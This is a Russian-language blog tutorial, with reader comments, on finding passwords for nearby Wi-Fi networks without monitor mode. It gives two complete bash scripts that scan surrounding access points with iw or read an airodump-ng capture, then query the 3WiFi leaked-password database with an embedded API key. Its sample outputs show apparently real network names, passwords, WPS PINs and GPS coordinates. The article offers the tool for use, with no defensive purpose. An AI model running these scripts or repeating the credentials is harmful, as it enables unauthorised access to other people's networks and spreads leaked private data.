Как быстро узнать пароль от Wi-Fi рядом (без режима монитора)
После статьи «Как взломать Wi-Fi обычным адаптером без режима монитора» я подумал: чтобы ещё необычного можно сделать с обычной Wi-Fi картой?
У меня появилась парочка интересных идей и в этой заметке я поделюсь первой идеей. Есть сервис 3WiFi — он позволяет узнать пароли от точек доступа Wi-Fi. Подробности о самом сервисе в статье «Сервис 3WiFi: пароли от точек доступа Wi-Fi». Было бы неплохо что-нибудь такое придумать, чтобы автоматически проверять все точки в округе на наличие тех, которые есть в базе данных 3WiFi — чтобы не искать вручную, а просто сразу просканировать и подключиться. И… это уже тоже сделано — подробности в статье «Автоматическая проверка всех Точек Доступа по базе 3WiFi».
Но реализация WiFi-autopwner требует наличия двух беспроводных адаптеров, один из которых обязательно должен поддерживать режим монитора, а второй обязательно быть подключённым к Интернету.
В общем, я придумал способ, который позволяет проверить все беспроводные точки доступа в пределах досягаемости на их наличие в базе 3WiFi, но при этом требуется только одна Wi-Fi карта, причём обычная — её не нужно переводить в режим монитора. Правда, подключение Интернету по-прежнему требуется — поскольку используется онлайн база данных. Но что важно: во время сканирования, Wi-Fi соединение не будет разрываться. То есть достаточно 1 адаптера, который будет и сканировать, и в это же самое время быть подключённым к Интернету.
Попросту говоря, если у вас Linux с любой Wi-Fi картой, то вам этот способ уже подходит. Итак, рассмотрим способ как быстро узнать пароль от Wi-Fi рядом обычной Wi-Fi картой без режима монитора.
Создаём файл 3wifi.sh:
gedit 3wifi.sh
И копируем в него:
#!/bin/bash IFACE='wlan0' SCAN_ATTEMPTS=4 API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' TMP_FILE='/tmp/scan_results.txt' rm $TMP_FILE 2>/dev/null for (( i=1; i<=$SCAN_ATTEMPTS; i=i+1 )); do echo "Scan #: $i" FOUND="$( sudo iw dev $IFACE scan | grep -E '^BSS' | grep -E -o '[0-9a-z:]{17}' )" echo "$FOUND" >> /tmp/scan_results.txt echo 'Found APs: ' `echo "$FOUND" | wc -l` done UNIQUE="$( cat $TMP_FILE | sort | uniq )" echo '===================' echo "Unique APs: "`echo "$UNIQUE" | wc -l` echo "$UNIQUE" | while read -r line ; do echo "Trying $line..."; echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$line`\e[0m" | grep -E -v ':\[\]'; sleep 15; done
Прежде чем запустить, нужно указать имя своего беспроводного интерфейса. Узнать это имя можно командой:
iw dev
Вписать его нужно в строке (вместо wlan0):
IFACE='wlan0'
Другие настройки — количество сканирований:
SCAN_ATTEMPTS=4
По умолчанию указано 4 — можете выбрать больше или меньше. Каждое сканирование занимает всего несколько секунд — чем больше сканирований, тем меньше вероятность пропустить беспроводные сети — особенно если вы перемещаете беспроводную карту в пределах комнаты.
Настройка API ключа сервиса 3WiFi:
API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC'
Используется API ключ гостевого аккаунта — если у вас есть аккаунт более высокого уровня, то можете указать здесь свой ключ. Если такого аккаунта у вас нет — то не надо ничего менять в этой строке.
Если у вас не-гостевой аккаунт и вы прописали свой API ключ, то удалите из скрипта строку:
sleep 15;
Запуск очень простой:
sudo bash 3wifi.sh
Будет выведено:
Если после строки, которая начинается с Trying … ничего не выведено, значит проверяемая ТД отсутствует в базе данных 3WiFi.
Если Точка Доступа найдена в 3WiFi, то будет выведено примерно следующее:
{"result":true,"data":{"D8:FB:5E:4D:47:82":[{"time":"2019-07-01 18:53:43","bssid":"D8:FB:5E:4D:47:82","essid":"BURAPA","sec":"WPA\/WPA2","key":"0840446924","wps":"12345670","lat":12.52412224,"lon":99.97179413}]},"time":0.012100219726562}
essid — это имя точки доступа, а key — это пароль от неё. То есть в предыдущей строке сказано, что для ТД BURAPA паролем для подключения к Wi-Fi является 0840446924.
Если возникла ошибка вида:
{"result":false,"error":"cooldown","time":0.0015487670898438}
то она означает, что предыдущая ТД не проверена — вы можете позднее перезапустить сканирование, либо вручную проверить пропущенные ТД на сайте 3WiFi.
Второй запуск:
Две ТД не получилось проверить, зато найдена новая в БД:
{"result":true,"data":{"FC:52:8D:B0:EE:9E":[{"time":"2019-07-01 07:08:11","bssid":"FC:52:8D:B0:EE:9E","essid":"walaiporn","sec":"WPA\/WPA2","key":"77291944","wps":"12345670","lat":12.52481079,"lon":99.97236633}]},"time":0.49964094161987}
Имя: walaiporn, пароль: 77291944.
Бонус
Рассмотрим ещё один вариант — когда Wi-Fi карта одна, но она поддерживает режим монитора. В этом случае можно просканировать сети с помощью airodump-ng — во время сканирование беспроводной адаптер должен быть в режиме монитора и, следовательно, не может быть подключён к Интернету. Поэтому данные сканирования, вместо проверки, можно сохранить в файл.
Затем, после окончания сканирования, можно подключиться к Интернету с помощью этого адаптера и выполнить проверку по онлайн базе данных.
Итак, переводим интерфейс в режим монитора (замените ИНТЕРФЕЙС на имя вашего беспроводного интерфейса):
sudo ip link set ИНТЕРФЕЙС down sudo iw ИНТЕРФЕЙС set monitor control sudo ip link set ИНТЕРФЕЙС up
И запускаем airodump-ng (укажите действительное имя интерфейса вместо ИНТЕРФЕЙС):
sudo airodump-ng --berlin 60000 -w /tmp/3wifi ИНТЕРФЕЙС
Работать программа может любое количество времени — на ваше усмотрение. Когда надоест собирать данные, нажмите CTRL+с.
Теперь создайте файл 3wifi-file.sh:
gedit 3wifi-file.sh
Скопируйте в него:
#!/bin/bash API_KEY='23ZRA8UBSLsdhbdJMp7IpbbsrDFDLuBC' FILE='/tmp/3wifi-01.csv' while read -r line ; do BSSID=`echo $line | awk '{print $1}' | sed 's/,//'` ESSID=`echo $line | awk -F"," '{print $14}' | sed 's/ //'` echo "Trying $BSSID $ESSID" echo -e "\033[0;32m`curl -s 'http://3wifi.stascorp.com/api/apiquery?key='$API_KEY'&bssid='$BSSID`\e[0m" | grep -E -v ':\[\]' sleep 15 done < <(grep -E '([A-Za-z0-9._: @\(\)\\=\[\{\}\"%;-]+,){14}' $FILE)
Когда у вас вновь будет подключение к Интернету, запустите его:
bash 3wifi-file.sh
Дождитесь окончания работы.
Если вы собираетесь запускать airodump-ng ещё раз, то очистите файлы, которые были созданы ранее (иначе программа 3wifi-file.sh будет вновь использовать старые файлы):
sudo rm /tmp/3wifi*
Связанные статьи:
- WiFi-autopwner 2: инструкция по использованию и обзор новых функций (100%)
- Автоматическая проверка всех Точек Доступа по базе 3WiFi (97.7%)
- Сервис 3WiFi: пароли от точек доступа Wi-Fi (89.3%)
- Для каких атак подходят старые Wi-Fi адаптеры (86.9%)
- Автоматизированный взлом Wi-FI WEP с Besside-ng и Wesside-ng (65.5%)
- Как найти все пароли и ключи в большом количестве файлов (RANDOM - 2.4%)
Отличная статья. Ожидается ли что-нибудь про поисковики "Интернета вещей".
Можете пояснить, почему так?
—
:~# sudo bash 3wifi.sh
Scan #: 1
command failed: Operation not supported (-95)
Found APs: 1
Scan #: 2
command failed: Operation not supported (-95)
Found APs: 1
Scan #: 3
command failed: Operation not supported (-95)
Found APs: 1
Scan #: 4
command failed: Operation not supported (-95)
Found APs: 1
===================
Unique APs: 1
Trying …
{"result":false,"error":"form","time":0.0094821453094482}
После «долгих экспериментов» мне удалось получить такую ошибку, если беспроводной адаптер находится в режиме монитора.
Как вариант, беспроводной интерфейс должен показывать такую же ошибку если находится в режиме AP или в любом другом режиме кроме обычного managed.
спасибо за статью!
Что может означать следующая ощибка?
{"result":false,"error":"lowlevel","time":0.012773036956787}
Если bash файл не запускается, его следует сперва сделать исполняемым, с помощью команды: chmod u+x <script>.sh
chmod u+x .sh можно подробнее
Означает добавить разрешение на выполнение для владельца. Подробности: Команда chmod: как поменять права доступа к файлам и директориям